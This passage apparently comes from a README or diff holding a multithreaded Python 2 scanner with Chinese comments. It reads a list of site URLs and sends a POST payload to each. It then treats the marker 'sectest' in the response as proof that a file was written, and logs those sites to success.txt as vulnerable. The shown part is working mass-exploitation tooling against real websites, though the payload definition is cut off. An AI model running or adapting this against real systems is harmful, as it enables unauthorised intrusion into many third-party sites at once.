reqss=s.post(urls,allow_redirects=False,timeout=3,data=payloads)#测试是否文件创建成功 + body=reqss.text + if body.find('sectest')!=-1: + print("web is success----->>>>>>"+self.url) + with open("./success.txt", "a+") as f1: + f1.write(self.url + "\n") + else: + print("web is fail-------->>>>>>"+self.url) + print('\n') + except IOError: #如果网站打不开将输出fail + print("time out 2") + self.sem.release() + +if __name__ == '__main__': + reload(sys)#同下解决中文乱码 + sys.setdefaultencoding('utf-8')#解决中文乱码 + f = open("./1.txt")#打开批量扫描的网站文件 + s=requests.Session() + sem = threading.Semaphore(10) #最大线程数为10个 + for line in f.readlines():#读取每一行的网站 + line=line.strip('\n')#消去换行 + url=line#每行的网站赋值给url + host_thread = check(url,sem) + host_thread.start()#执行check()的执行函数 +``` + +------ +使用方法:在当前页面下创建./1.txt(为需要检测的url),success.txt为含有漏洞的url。 \ No newline at end of file